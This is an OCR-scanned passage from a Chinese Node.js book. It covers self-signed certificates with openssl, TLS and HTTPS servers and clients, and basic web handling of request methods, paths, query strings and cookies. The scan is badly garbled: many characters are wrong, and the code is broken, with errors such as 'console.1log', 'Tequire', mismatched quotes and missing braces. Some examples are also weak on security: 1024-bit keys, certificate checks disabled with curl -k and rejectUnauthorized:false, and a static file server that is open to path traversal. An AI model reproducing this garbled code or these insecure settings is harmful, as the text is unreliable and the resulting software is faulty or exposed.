已 的 服务 侣 器 颁发 签名 证 书 。 以 下 为 生成 私 钥 、 生 成 CSR 文 件 、 通 过 私 钥 日 签名 生成 证 书 的 过 程 : 

$ openssl genrsa -out ca.key 1024 


$ openssl req -new -key ca.key -out ca.csr 
$ openssl x509 -req -in ca.csr -signkey ca.key -out ca.crt 


其 流程 如 图 7-10 所 示 。 


图 7-10 ”生成 日 签名 证 书 示 意图 


上 述 步 又 完成 了 扮演 CA 角色 需要 的 文件 。 接 下 来 回 到 服务 套 端 ， 服 务 需 端 需要 加 CA 机 构 申 
请 签名 证 书 。 在 申请 签名 证 书 之 前 依然 是 要 创建 自己 的 CSR 文 件 。 值 得 注意 的 是 ， 这 个 过 程 中 的 
Common Name 要 [匹配 服务 大 域名， 否则 在 后 续 的 认证 过 程 中 会 出 错 。 如 下 是 生成 CSR 文 件 所 用 


的 命令 : 
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$ openssl req -new -key server.key -out server.csr 

得 到 CSR 文 件 后 ， 向 我 们 自己 的 CA 机 构 申 请 签名 吧 。 签 名 过 程 需 要 CA 的 证 书 和 私 钥 参与 ， 
最 终 颁 发 一 个 市 有 CA 签名 的 证 书 ， 如 下 所 示 : 

$ openssl x509 -req -CA ca.crt -CAkey ca.key -CAcreateserial -in server.csr -out server.crt 

客户 端 在 发 起 安全 连接 前 会 去 获取 服务 瘟 端 的 证 书 ， 并 通过 CA 的 证 书 验 证 服务 冀 端 证 书 的 
真 伪 。 除 了 验证 真 伪 外 ,通常 还 含有 对 服务 作 名 称 、IP 地 址 等 进行 验证 的 过 程 。 这 个 验证 过 程 如 
图 7-11 所 示 。 


图 7-11 客户 站 通过 CA 验证 服务 希 闯 证 书 的 真 伪 过 程 示意 图 


CA 机 构 将 证 书 颁发 给 服务 带 关 后， 证 书 在 请 求 的 过 程 中 会 被 发 送 给 客户 器 ， 客 户 疹 需要 通 
过 CA 的 证 书 验 证 真 仿 。 如 来 是 知名 的 CA 机 构 ， 它 们 的 证 书 一 般 预 究 在 浏览 带 中 。 如 来 是 日 己 扮 
总 CA 机 构 , 颁发 日 有 签名 证 书 则 不 能 圣 受 这 个 福利 , 客户 端 需 要 获取 到 CA 的 证 书 才 能 进行 验证 。 

上 述 的 过 程 中 可 以 看 出 ， 签 名 证 书 是 一 环 一 环 地 颁发 的 ， 但 是 在 CA 那里 的 证 书 是 不 需要 上 
级 证 书 参 与 签名 的 ， 这 个 证 书 我 们 通常 称 为 根 证 书 。 


7.5.2 ”TLS 服务 


1. 创建 服务 器 端 
将 构建 服务 所 需要 的 证 书 都 备 齐 之 后 , 我 们 通过 Node 的 tls 模 块 来 创建 一 个 安全 的 TCP 服 务 ， 
这 个 服务 是 一 个 简单 的 echo 服 务 ， 代 人 码 如 下 : 


var tls = require('tls'); 
var fs = require('fs'); 


var options = { 
key: fs.readFileSync('./keys/server.key'), 
cert: fs.readFileSync('./keys/server.crt'), 
requestCert: true, 
ca: [ fs.readFileSync('./keys/ca.crt') ] 

}; 


var server = tls.createServer(options, function (stream) { 
console.log('server connected', stream.authorized ? 'authorized' : 'unauthorized'); 
stream.write("welcomel! \n"); 
stream.setEncoding('utf8"); 
stream.pipe(stream); 
}); 


server.listen(8000, function() { 
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console.1log('server bound  ) ; 


}); 

启动 上 述 服务 后 ， 通 过 下 面 的 命令 可 以 测试 证 书 是 否 正常 : 

$ openssl s client -connect 127.0.0.1:8000 

2.TLS 客 户 端 

为 了 完善 整个 体系 , 接 下 来 我 们 用 Node 来 模拟 客户 闹 ， 如 同 net 模 块 一 样 ， tls 模 块 也 提供 了 
connect () 方 法 来 构建 客户 端 。 在 构建 我 们 的 客户 端 之 前 ， 需 要 为 客户 端 生 成 属于 自己 的 私 铀 和 
签名 ， 代 码 如 下 : 

// 创建 私 铀 

$ openssl genrsa -out client.key 1024 

// 生成 CSR 

$ openssl req -new -key client.key -out client.csr 

// 生成 签名 证 书 

$ openssl x509 -req -CA ca.crt -CAkey ca.key -CAcreateserial -in client.csr -out client.crt 


并 创建 客户 端 ， 代 码 如 下 : 


var tls = require('tls'); 
var fs = require('fs'); 


var options = { 
key: fs.readFileSync('./keys/client.key'), 
cert: fs.readFileSync('./keys/client.crt'), 
ca: [ fs.readFileSync('./keys/ca.crt') ] 

}; 


var stream = tls.connect(8000, options, function () { 
console.log('client connected', stream.authorized ? 'authorized' : 'unauthorized'); 
process.stdin.pipe(stream); 


}); 


stream.setEncoding('utf8"); 

stream.on('data', function(data) { 
console.1log(data); 

}); 


stream.on('end', function() { 
server.close(); 


}); 

局 动 客户 端的 过 程 中 ， 用 到 了 为 客户 疹 后 成 的 私 钥 、 证 书 、CA 证 书 。 客 户 端 启动 之 后 可 以 
在 输入 流 中 输入 数据 ， 服 务 天 器 将 会 回应 相同 的 数据 。 

至 此 我 们 完成 了 TLS 的 服务 胡 端 和 客户 端的 创建 ,与 普通 的 TCP 服 务 角 端 和 客户 珊 相 比 , TLS 
的 服务 融 问 和 客户 痪 仅仅 只 在 证 书 的 配置 上 有 差别 ， 其 余部 分 基本 相同 。 


7.5.3 HTTPS 服务 


HTTPS 服 务 就 是 工作 在 TLS/SSL 上 的 HTTP。 在 了 解 了 TLS 服 务 后 , 创建 HTTPS 服 务 是 再 简单 
不 过 的 事情 。 
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1. 准备 证 书 
HTTPS 服 务 需要 用 到 私 钥 和 签名 证 书 ， 我 们 可 以 直接 用 上 文生 成 的 私 铀 和 证 书 。 
2. 创建 HTTPS 服 务 
创建 HTTPS 服 务 只 比 HTTP 服 务 多 选项 配置 ， 其 余地 方 儿 乎 相同 ， 代 码 如 下 : 


var https = require('https'); 
var fs = require('fs'); 


var options = { 
key: fs.readFileSync('./keys/server.key'), 
cert: fs.readFileSync('./keys/server.crt') 


je 


https.createServer(options, function (req, res) { 
res .writeHead(200); 
res.end("hello world\n"); 

}) .listen(8000); 


启动 之 后 通过 curl 进 行 测试 ， 相 关 代 人 码 如 下 所 示 : 


$ curl https://localhost:8000/ 

curl: (60) SSL certificate problem, verify that the CA cert is OK. Details: 
error:14090086:SSL routines:SSL3 GET SERVER CERTIFICATE:certificate verify failed 
More details here: http://curl.haxx.se/docs/sslcerts.html 


CUI] performs SSL certificate verification by default, using a "bundle" 
of Certificate Authority (CA) public keys (CA certs). If the default 
bundle file isn't adequate, you can specify an alternate file 
using the --cacert option. 

If this HTTPS server uses a certificate signed by a CA represented in 
the bundle, the certificate verification probably failed due to a 
problem with the certificate (it might be expired, or the name might 
not match the domain name in the URL). 

If you'd like to turn off curl's verification of the certificate, use 
the -k (or --insecure) option. 


由 于 是 日 签名 的 证 书 ，curl 工 具 无 法 验证 服务 带 冰 证书 是 否 正确 ， 所 以 抛 销 ， 
要 解决 上 面 的 问题 有 两 种 方式 。 一 种 是 加 -k 选 项 ， 让 curl 工 具 忽 略 挥 证 书 的 验证 ， 这 样 的 结果 是 


数据 依然 会 通过 公 钥 加 蜜 传输 ,但 是 无 法 保证 对 方 是 可 靠 的 ,会 存在 中 间 人 攻击 的 潜在 风险 。 其 
结果 如 下 所 示 : 


$ curl -k https://localhost:8000/ 
hello world 


另 一 种 解决 的 方式 是 给 curl 设 置 --cacert 选 项 ， 告 知 CA 证 书 使 之 完成 对 服务 器 证 书 的 验证 ， 
如 下 所 示 : 


$ curl --cacert keys/ca.crt https://localhost:8000/ 
hello world 
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3. HTTPS 客 户 端 
对 应 的 ， 我 们 也 会 用 Node 来 实现 HTTPS 的 客户 端 ， 与 HITP 的 客户 端 相 差 不 大 ， 除 了 指定 证 
书 相 关 的 参数 外 ， 如 下 所 示 : 


var https = Tequire( ' https ' ) ; 
var fs = ITequire( fs ' ); 


var options = { 
hostname: “]ocalhost ， 
port: 8000， 
path: “/ ， 
method: “GET ， 
key: fs.readFileSync('./keys/client.key'), 
cert: fs.readFileSync('./keys/client.crt'), 
ca: [fs.readFileSync('./keys/ca.crt')] 


}; 
options.agent = new https.Agent(options); 


var req = https.request(options, function(res) { 
res.setEncoding('utf-8'); 
res.on('data' , function(d) { 
Console.1log(d ) ; 
}); 
}); 
req.end(); 
req.on('error', function(e) { 


console.1log(e); 


}); 
执行 上 面 的 操作 得 到 以 下 输出 : 


$ node client.]js 
hello world 


如 果 不 设置 ca 选项 ， 将 会 得 到 如 下 异常 : 

[Error: UNABLE TO VERIFY LEAF SIGNATURE] 

解决 该 异常 的 方案 是 添加 选项 属性 rejectUnauthorized 为 false， 它 的 效果 与 curl 工 具 加 -k 一 
样 ， 都 会 在 数据 传输 过 程 中 会 加 密 ， 但 是 无 法 保证 服务 需 端 的 证 书 不 是 伪造 的 。 


7.6 ”总结 


Node 基 于 事件 驱动 和 非 阻塞 设计 , 在 分 布 式 环境 中 尤其 能 发 挥 出 它 的 特长 , 基于 事件 驱动 可 
以 实现 与 大 量 的 客户 端 进行 连接 , 非 阻塞 设计 则 证 它 可 以 更 好 地 提升 网 络 的 啊 应 生 吐 。 Node 提 供 
了 相对 底层 的 网 络 调用 , 以 及 基于 事件 的 编程 接口 , 使 得 开发 者 在 这 些 模块 上 十 分 轻松 地 构建 网 
络 应 用 。 下 一 音 我 们 将 在 本 章 的 基础 上 探讨 具体 的 Web 应 用 。 
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7.7 参考 资源 


DQ http://tools.1etf.org/html/rfc2616 


DQ http://hi.baidu.com/miracletan2008/item/0bc1l6c9d7af261de7b7f01a2 
D http://tools.1etf.org/html/rfc6455 


QD http:/Wwww.w3.org/Protocols/rfc2616/rfc2616-sec10.html 
QD http://en.wikipedia.org/wWik/OSI model 


D http://upload.wikimedia.org/Wwikipedia/commons/a/ae/SSL handshake with two way authenti 
cation with certificates.svg 
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构建 Web 应 用 


如 今 看 来 ，Web 应 用 们 然 是 互联 网 的 主角 ， 伴 随 Web 1.0、Web 2.0 一 路 走 来 ，HTTP 占 据 了 网 
络 中 的 大 多 数 流量 。 随 着 移动 互联 网 时 代 的 到 来 ,Web 又 开始 在 移动 浏览 锅 上 发 挥 光 和 热 。 在 Web 
标准 化 的 努力 过 后 ，Web 又 开始 绷 回 应 用 化 发 展 ，JavaScript 在 前 妆 变 得 和 炙手可热。 许多 原本 在 服 
务 病 端 实现 的 业务 细节 , 纷纷 前 移 到 浏览 硕 端 ,前端 MV#* 的 如 构 也 日 趋 成 束 。 与 之 逆流 的 是 , Node 
的 出 现 将 前 后 庙 的 壁垒 再 次 打破 ，JavaScript 这 门 最 初 台 能 运行 在 服务 硕 闪 的 语言 ， 在 经 历 了 前 端 
的 辉 焊 和 后 并 的 低迷 后 ,借助 事 件 驱 动 和 V8 的 高 性 能 ， 再 次 成 为 了 服务 器 并 的 佼佼 者 。 在 Web 广 
用 中 ，JavaScript 将 不 再 仅仅 出 现在 前 端 浏 览 硕 中 ， 因 为 Node 的 出 现 ,“ 前 端 ” 将 会 被 重新 定义 。 

为 了 胜任 Web 应 用 的 开发 工作 ， 各 种 语言 、 模 式 、 框 染 层 出 不 穷 。 单 从 框 染 而 言 ， 在 后 问 数 
得 出 来 大 名 的 束 有 Structs、Codelgniter、Rails、Django、web.py 和 等， 在 前 问 也 有 知名 的 BackBone、 
Knockout. js、AngularJS 、Meteor 等 。 在 Node 中 , 有 Connect 中 间 件 , 也 有 Express 这 样 的 MVC 框 架 。 
值得 注意 的 是 Meteor 框 架 ， 它 在 后 端 是 Node ， 在 前 山 是 JavaScript， 它 是 一 个 融合 了 前 后 端 
JavaScript 的 框架 。 

由 于 前 后 端 采 用 的 语言 都 是 JavaScript， 在 蜂 越 HITP 进 行 沟通 时 ， 会 有 一 些 额 外 的 好 处 。 

口 无 顷 切 换 语言 环境 ， 部 分 知识 不 会 因为 语言 环境 的 切换 而 丢失 ， 上 下 文 一 致 性 较 好 。 

口 数据 ( 因为 JSON ) 可 以 很 好 地 实现 跨 前 后 端 直接 使 用 。 

口 一 些 业 务 ( 如 模板 泻 染 ) 可 以 很 目 由 地 轻 量 地 选择 是 在 前 端 还 是 在 后 端 进 行 ， 因 为 编程 

语言 相同 ， 所 以 切换 代价 小 。 

本 章 会 展开 摘 述 Web 应 用 在 后 闪 实 现 中 的 细节 和 原理 。 


8.1 基础 功能 


在 第 7 革 中 ， 我 们 介绍 了 Node 的 网 络 编程 部 分 。 从 中 我 们 可 以 发 现 ，Node 是 十 分 贴近 网 络 协 
议 的 ， 它 的 非 阻塞 、 事 件 机 制 使 得 我 们 在 网 络 编程 时 十 分 轻便 。 而 本 章 的 Web 应 用 方面 的 内 容 ， 
将 从 http 模 块 中 服务 需 端 的 request 事 件 开 始 分 析 。irequest 事 件 发 生 于 网 络 连接 建立 ， 客 户 端 回 
服务 器 端 发 送 报 文 ， 服 务 器 端 解 析 报 文 ， 发 现 HTTP 请 求 的 报头 时 。 在 已 触发 reqeust 事 件 前 ， 它 
已 准备 好 ServerRequest 和 ServerResponse 对 象 以 供 对 请 求 和 啊 应 报 文 的 操作 。 

以 官方 经 典 的 Hello World 为 例 ， 就 是 调用 ServerResponse 实 现 啊 应 的 ， 如 下 所 示 : 
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var http = require('http'); 
http.createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 
}) .listen(1337, '127.0.0.1'); 
console.log('Server running at http://127.0.0.1:1337/'); 
对 于 一 个 Web 应 用 而 言 , 仅仅 只 是 上 面 这 样 的 啊 应 远 远 达 不 到 业务 的 需求 。 在 具体 的 业务 中 ， 
我 们 可 能 有 如 下 这 些 需 求 。 
口 请 求 方法 的 判断 。 
口 UREL 的 路 径 解 析 。 
口 URL 中 查询 字符 串 解析 。 
口 Cookie 的 解析 。 
口 Basic 认 证 。 
口 表单 数据 的 解析 。 
口 任意 格式 文件 的 上 传 处 理 。 
除 此 之 外 ， 可 能 还 有 Session (会话 ) 的 需求 。 尽 管 Node 提 供 的 底层 API 相 对 来 说 比较 简单 ， 
但 要 完成 业务 需求 ， 还 需要 大 量 的 工作 ， 仅 仅 一 个 request 事 件 似乎 无 法 满足 这 些 需 求 。 但 是 要 
实现 这 些 需 求 并 非 难 事 ， 一 切 的 一 切 ， 都 从 如 下 这 个 函数 展开 : 
function (req, res) { 


res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end(); 


} 

在 第 4 章 中 ， 我 们 曾 对 高 阶 孙 数 有 过 简单 的 介绍 : 我 们 的 应 用 可 能 无 限 地 复杂 ,但 是 只 要 最 终 
结果 返回 一 个 上 面 的 函数 作为 参数 , 传递 给 createServer() 方 法 作为 request 事 件 的 侦 听 器 就 可 以 了 。 

你 可 能 看 到 Connect 或 Express 的 示例 中 有 如 下 这 样 的 代码 : 


var app = connect(); 
// var app = express(); 
// TODO 


http.createServer(app).listen(1337); 


它 的 原理 即 是 如 此 。 我 们 在 具体 业务 开始 前 ， 需要 为 业务 预 处 理 一 些 细 市 ， 这些 细 市 将 会 挂 
载 在 req 或 Yes 对 象 上 ， 供 业务 代码 使 用 。 


8.1.1 请求 方法 


在 Web 应 用 中 , 最 常见 的 请 求 方法 是 GET 和 P0ST, 除 此 之 外 ,还 有 HEAD、DELETE、PUT、CONNECT 
等 方法 。 请 求 方法 存在 于 报 文 的 第 一 行 的 第 一 个 单词 ， 通常 是 大 写 。 如 下 为 一 个 报 文 尖 的 示例 : 


GET /path?foo=bar HTTP/1.1 


> 

> User-Agent: curl/7.24.0 (x86 64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5 
> Host: 127.0.0.1:1337 
> 
> 


Accept: */* 
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HTTP_ Parser 在 解析 请 求 报 文 的 时 候 ， 将 报 文 头 抽取 出 来 ， 设 置 为 req.method。 通 销 ， 我 们 
只 需要 处 理 GET 和 POST 两 类 请 求 方法 ， 但 是 在 RESTful 类 Web 服 务 中 请 求 方法 十 分 重要 ， 因 为 它 会 
决定 资源 的 操作 行为 。PUT 代 表 新 建 一 个 资源 ，P0ST 表 示 要 更 新 一 个 资源 ，GET 表 示 查 看 一 个 资源 ， 
而 DELETE 表 示 删 除 一 个 资源 。 

我 们 可 以 通过 请 求 方法 来 决定 响应 行为 ， 如 下 所 示 : 


function (req, res) { 

switch (req.method) { 

case 'POST': 
update(req, res); 
break; 

case 'DELETE': 
remove(req, res); 
break; 

case 'PUT': 
create(req, res); 
break; 

case 'GET': 

default: 
get(req, res); 


} 
上 述 代 码 代表 了 一 种 根据 请 求 方法 将 复杂 的 业务 逻辑 分 发 的 思路 ， 是 一 种 化 繁 为 价 的 方式 。 


8.1.2 路径 解析 

除了 根据 请 求 方法 来 进行 分 发 外 ,最 常见 的 请 求 判断 各 过 于 路 人 径 的 判断 了。 路 径 部 分 存在 于 
报 文 的 第 一 行 的 第 二 部 分 ， 如 下 所 示 : 

GET /path?foo=bar HTTP/1.1 

HTTP_Parser 将 其 解析 为 req.url。 一 般 而 言 ， 完 整 的 URL 地 址 是 如 下 这 样 的 : 

http://user:pass@host.com:8080/p/a/t/h?query=string#hash 

客户 妆 代 理 (浏览 带 ) 会 将 这 个 地 址 解析 成 报 文 ， 将 路 径 和 查询 部 分 放 在 报 文 第 一 行 。 需 要 
注意 的 是 ，hash 训 分 会 被 于 和 痉 ， 不 会 存在 于 报 文 的 任何 地 方 。 

最 第 见 的 根据 路 径 进 行业 务 处 理 的 应 用 是 静态 文件 服务 大 , 它 会 根据 路 径 去 查找 磁盘 中 的 文 
件 ， 然 后 将 其 啊 应 给 客户 痢 ， 如 下 所 未: 


function (req, res) { 
var pathname = url.parse(req.url).pathname; 
fs.readFile(path.join(ROOT, pathname), function (err, file) { 
if (err) { 
res .writeHead(404); 
res.end(' 找 不 到 相关 文件 。- - ) 
return; 


res .writeHead(200); 
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res.end(file); 
}); 
} 


还 有 一 种 比较 篆 见 的 分 发 场景 是 根据 路 径 来 选择 控制 希 ， 它 预 设 路 径 为 控制 大 和 行为 的 组 
合 ， 无 须 额外 配置 路 由 信息 ， 如 下 所 示 : 


/controller/action/a/b/c 


这 里 的 controller 会 对 应 到 一 个 控制 句 ，action 对 应 到 控制 器 的 行为 ， 剩 余 的 值 会 作为 参数 
井 行 一 些 别 的 判断 。 


function (req, res) { 

var pathname = url.parse(req.url1).pathname; 

var paths = pathname.split('/'); 

var controller = paths[1] || 'index'; 

var action = paths[2] || 'index'; 

var args = paths.slice(3); 

if (handles[controller] && handles[controller|[action]) { 
handles[controller|[action].apply(null, [req, res].concat(args)); 

} else { 
res.writeHead(500); 
res.end(' 找 不 到 响应 控制 器 '); 


这 样 我 们 的 业务 部 分 可 以 只 关心 具体 的 业务 实现 ， 如 下 所 示 : 


handles.index = {}; 

handles.index.index = function (req, res, foo, bar) { 
res .writeHead(200); 
res.end(foo); 


}; 


8.1.3 查询 字符 串 


查询 字符 串 位 于 路 径 之 后 ， 在 地 址 栏 中 路 径 后 的 ?foo=bargbaz=val 字 符 串 就 是 查询 字符 串 。 
这 个 字符 串 会 跟随 在 路 径 后 , 形成 请 求 报 文 首 行 的 第 二 部 分 。 这 部 分 内 容 经 常 需要 为 业务 逻辑 所 
用 ，Node 提 供 了 querystring 模 块 用 于 处 理 这 部 分 数据 ， 如 下 所 示 : 

var url] = require('url'); 

var querystring = require('querystring'); 

var query = querystring.parse(url.parse(req.url]).query); 


更 简洁 的 方法 是 给 url.parse() 传 递 第 二 个 参数 ， 如 下 所 示 : 
var query = url.parse(req.url, true).query; 

它 会 将 foo=bar&baz=val 解 析 为 一 个 JSON 对 象 ， 如 下 所 示 : 

{ 


foo: 'bar', 
baz: 'val' 


上 
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在 业务 调用 产生 之 前 , 我 们 的 中 间 件 或 者 框架 会 将 查询 字符 串 转 换 , 然后 挂 载 在 请 求 对 象 上 
供 业 务 使 用 ， 如 下 所 示 : 


function (req, res) { 
req.query = url.parse(req.url, true).query; 
hande(req, res); 


要 注意 的 点 是 ， 如 来 查询 字符 串 中 的 键 出 现 多 次 ,那么 它 的 值 会 是 一 个 数组 ， 如 下 所 示 : 


// foo=bar&foo=baz 
var query = url.parse(req.url, true).query; 


// foo: ['bar', 'baz'| 
// } 


业务 的 判断 一 定 要 检查 值 是 数组 还 是 子 符 串 ， 否 则 可 能 出 现 TypeError 卉 常 的 情况 。 


8.1.4 Cookie 


1. 初 识 Cookie 

在 Web 应 用 中 ， 请 求 路 径 和 查询 字符 串 对 业务 至 关 重 要 ， 通 过 它们 已 经 可 以 进行 很 多 业务 操 
作 了 ,但 是 HTTP 是 一 个 无 状态 的 协议 ， 现 实 中 的 业务 却 是 需要 一 定 的 状态 的 ， 否 则 无 法 区 分 用 
户 之 间 的 身份 。 如 何 标 识 和 认证 一 个 用 户 ， 最 早 的 方案 就 是 Cookie ( 曲 奇 饼 ) 了 。 

Cookie 最 早 由 文本 浏览 右 Lynx 合 作 开 发 者 Lou Montulli 在 1994 年 网 景 公 司 开 发 Netscape 浏 览 
器 的 第 一 个 版 本 时 发 明 。 它 能 记录 服务 需 与 客户 端 之 间 的 状态 , 最 早 的 用 处 就 是 用 来 判断 用 户 是 
否 第 一 次 访问 网 站 。 在 1997 年 形成 规范 RFC 2109， 目 前 最 新 的 规范 为 RFC 6265， 它 是 一 个 由 浏 
览 锅 和 服务 需 共 同 协作 实现 的 规范 。 

Cookie 的 处 理 分 为 如 下 几 步 。 

口 服务 适 问 客户 病 发 送 Cookie。 

口 浏览 器 将 Cookie 保 存 。 

口 之 后 每 次 浏览 硕 都 会 将 Cookie 发 加 服务 需 端 。 

客户 闪 发 送 的 Cookie 在 请 求 报 文 的 Cookie 字 段 中 ， 我 们 可 以 通过 curl 工 具 构造 这 个 字段 ， 如 
下 所 示 : 


curl -v -H "Cookie: foo=bar; baz=val” "http://127.0.0.1:1337/path?foo=bar&foo=baz" 


HTTP Parser 会 将 所 有 的 报 文字 段 解析 到 req.headers 上 ， 那 么 Cookie 就 是 req.headers. 
cookie。 根 据 规范 中 的 定义 ，Cookie 值 的 格式 是 key=value; key2=value2 形 式 的 ， 如 果 我 们 需要 
Cookie， 解 析 它 也 十 分 容易 ， 如 下 所 示 : 


var parseCookie = function (cookie) { 
var cookies = {}; 
if (lcookie) { 
return cookies; 


} 
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var list = cookie.split(';'); 

for (var i = 0; i < list.length; i++) { 
var pair = list[i].split('="); 
cookies[pair[0].trim()] = pair[1]; 

} 


return cookies ; 
}; 
在 业务 逻辑 代码 执行 之 前 , 我 们 将 其 挂 载 在 req 对 象 上 , 让 业务 代码 可 以 直接 访问 , 如 下 所 示 : 
function (req, res) { 


req.cookies = parseCookie(req.headers .cookie); 
hande(req, res); 


这 样 我 们 的 业务 代码 就 可 以 进行 判断 处 理 了 ， 如 下 所 示 : 


var handle = function (req, res) { 
res .writeHead(200); 
if (!req.cookies.isVisit) { 
res.end(' 欢 迎 第 一 次 来 到 动物 园 '); 
} else { 
// TODO 
} 
}; 


任何 请 求 报 文中 ， 如 果 Cookie 值 没有 isVisit， 都 会 收 到 “欢迎 第 一 次 来 到 动物 园 ” 这 样 的 
啊 应 。 这 里 提出 一 个 问题 ， 如果 识别 到 用 户 没 有 访问 过 我 们 的 站 点 ,那么 我 们 的 站 点 是 否 应 该 告 
诉 客户 端 已 经 访问 过 的 标识 呢 ? 告知 客户 端的 方式 是 通过 啊 应 报 文 实现 的 ， 啊 应 的 Cookie 值 在 
Set-Cookie 字 段 中 。 它 的 格式 与 请 求 中 的 格式 不 太 相 同 ， 规 范 中 对 它 的 定义 如 下 所 示 : 

Set-Cookie: name=value; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com; 

其 中 name=value 是 必须 包含 的 部 分 ， 其 余部 分 缘 是 可 选 参数 。 这 些 可 选 参 数 将 会 影 啊 浏 览 需 在 后 
续 将 Cookie 发 送 给 服务 硕 端 的 行为 。 以 下 为 主要 的 几 个 选项 。 
口 path 表 示 这 个 Cookie 影 响 到 的 路 径 ， 当 前 访问 的 路 径 不 满足 该 匹配 时 , 浏览 硕 则 不 发 送 这 
个 Cookie。 
口 Expires 和 Max-Age 是 用 来 告知 浏览 器 这 个 Cookie 何 时 过 期 的 ， 如 果 不 设置 该 选项 ,在 关闭 
浏览 锅 时 会 丢失 抒 这 个 Cookie。 如 果 设 置 了 过 期 时 间 , 浏览 融 将 会 把 Cookie 内 容 写 人 到 磁 
盘 中 并 保存 ， 下 次 打开 训 览 亏 依 旧 有 效 。Expizres 的 值 是 一 个 UTC 格式 的 时 间 字 符 串 ， 告 
知 浏 览 套 此 Cookie 何 时 将 过 期 ，Max-Age 则 告知 浏览 套 此 Cookie 多 和 久 后 过 期 。 前 者 一 般 而 
言 不 存在 问题 ， 但 是 如 果 服 务 希 端的 时 间 和 客户 端的 时 间 不 能 匹配 ， 这 种 时 间 设 置 就 会 存 
在 偏差 。 为 此 ，Max-Age 告 知 浏览 絮 这 条 Cookie 多 久之 后 过 期 ， 而 不 是 一 个 具体 的 时 间 点 。 
口 Http0nly 告 知 浏 览 郁 不 允许 通过 脚本 document .cookie 去 更 改 这 个 Cookie 值 , 事实 上 , 设置 
Httponly 之 后 ， 这 个 值 在 document.cookie 中 不 可 见 。 但 是 在 HITP 请 求 的 过 程 中 ， 依 然 会 
发 送 这 个 Cookie 到 服务 亏 冰 。 
D Secure。 当 Secure 值 为 true 时 , 在 HTTP 中 是 无 效 的 ,在 HTTPS 中 才 有 效 , 表示 创建 的 Cookie 
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只 能 在 HTTPS 连 接 中 被 浏览 如 传 递 到 服务 右 端 进行 会 话 验 证 ， 如果 是 HTTP 连 接 则 不 会 传 
递 该 信息 ， 所 以 很 难 被 盘 听 到 。 
知道 Cookie 在 报 文 头 中 的 具体 格式 后 ， 下 面 我 们 将 Cookie 序 列 化 成 符合 规范 的 字符 串 ， 相 天 
代码 如 下 : 
var serialize = function (name, val, opt) { 


var pairs = [name + '=' + encode(val)]; 
opt = opt || 1 


if (opt.maxAge) pairs.push('Max-Age='" + opt.maxAge); 
if (opt.domain) pairs.push('Domain=" + opt.domain); 
if (opt.path) pairs.push('Path="' + opt.path); 
if (opt.expires) pairs.push('Expires=' + opt.expires.toUTCString()); 
if (opt.httpOnly) pairs.push('HttpOnly' ); 
if (opt.secure) pairs.push('Secure'); 
return pairs.join('; '); 
}; 
上 略 改 前 文 的 访问 逻辑 ， 我 们 就 能 轻松 地 判断 用 户 的 状态 了， 如 下 所 示 : 
var handle = function (req, res) { 
if (!req.cookies.isVisit) { 
res.setHeader('Set-Cookie', serialize('isVisit', '1')); 
res.writeHead(200); 
res.end(' 欢 迎 第 一 次 来 到 动物 园 '); 
} else { 
res .writeHead(200); 
res.end(' 动 物 园 再 次 欢迎 你 '); 
} 
}; 
客户 端 收 到 这 个 带 Set-Cookie 的 啊 应 后 ， 在 之 后 的 请 求 时 会 在 Cookie 字 段 中 带 上 这 个 值 。 
值得 注意 的 是 ，Set-Cookie 是 较 少 的 , 在 报头 中 可 能 存在 多 个 字段 。 为 此 res.setHeader 的 第 
二 个 参数 可 以 是 一 个 数组 ， 如 下 所 示 : 
res.setHeader('Set-Cookie', [serialize('foo', 'bar'), serialize('baz', "val ' )]); 


这 会 在 报 文 头 部 中 形成 两 条 Set-Cookie 字 段 : 

Set-Cookie: foo=bar; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com; 

Set-Cookie: baz=val; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com; 

2. Cookie 的 性 能 影响 

由 于 Cookie 的 实现 机 制 , 一 旦 服务 如 端 癌 客户 端 发 送 了 设置 Cookie 的 童 图 , 除非 Cookie 过 期 ， 
否则 客户 端 每 次 请 求 都 会 发 送 这 些 Cookie 到 服务 器 端 ， 一 旦 设置 的 Cookie 过 多 , 将 会 导致 报头 较 
大 。 大 多 数 的 Cookie 并 不 需要 每 次 虱 用 上 ， 因 为 这 会 造成 帘 宽 的 部 分 浪费 。 在 YSlow 的 性 能 优化 
规则 中 有 这 么 一 条 : 

@ 减 小 CooKkie 的 大 小 

更 严重 的 情况 是 ， 如 果 在 域名 的 根 节点 设置 Cookie， 几 乎 所 有 子路 径 下 的 请 求 都 会 带 上 这 些 
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Cookie， 这 些 Cookie 在 某 些 情况 下 是 有 用 的 , 但 是 在 有 些 情况 下 是 完全 无 用 的 。 其 中 以 静态 文件 
最 为 典型 ， 静 态 文件 的 业务 定位 几乎 不 关心 状态 ，Cookie 对 它 而 言 几 乎 是 无 用 的 ， 但 是 一 旦 有 
Cookie 设 置 到 相同 域 下 ， 它 的 请 求 中 就 会 市 上 Cookie。 好 在 Cookie 在 设计 时 限定 了 它 的 域 ， 只 有 
域名 相同 时 才 会 发 送 。 所 以 YSlow 中 有 另外 一 条 规则 用 来 避免 Cookie 市 来 的 性 能 影 啊 。 

@ 为 静态 组 件 使 用 不 同 的 域名 

简 而 言 之 就 是 ， 为 不 需要 Cookie 的 组 件 换个 域名 可 以 实现 减少 无 效 Cookie 的 传输 。 所 以 很 多 
网 站 的 静态 文件 会 有 特别 的 域名 ， 使 得 业务 相关 的 Cookie 不 再 影 响 静态 资源 。 当 然 换 用 额外 的 域 
铠 来 的 好 处 不 只 这 点 ,还 可 以 突破 浏 览 硕 下 载 线程 数量 的 限制 ， 因 为 域名 不 同 , 可 以 将 下 载 线 
程 数 翻 倍 。 但 是 换 用 额外 域名 还 是 有 一 定 的 缺点 的 ， 那 就 是 将 域名 转换 为 卫 需 要 进行 DNS 查询 ， 
多 一 个 域名 就 多 一 次 DNS 查询 。YSlow 中 有 这 样 一 条 规则 : 

@ 减少 DNS 查询 

看 起 来 减少 DNS 查询 和 使 用 不 同 的 域名 是 冲突 的 两 条 规则 , 但 是 好 在 现今 的 浏览 需 都 会 进行 
DNS 缓存 ， 以 前 弱 这 个 副作用 的 影 啊 。 

Cookie 除 了 可 以 通过 后 端 添加 协议 头 的 字段 设置 外 ， 在 前 并 浏览 辫 中 也 可 以 通过 JavaScript 
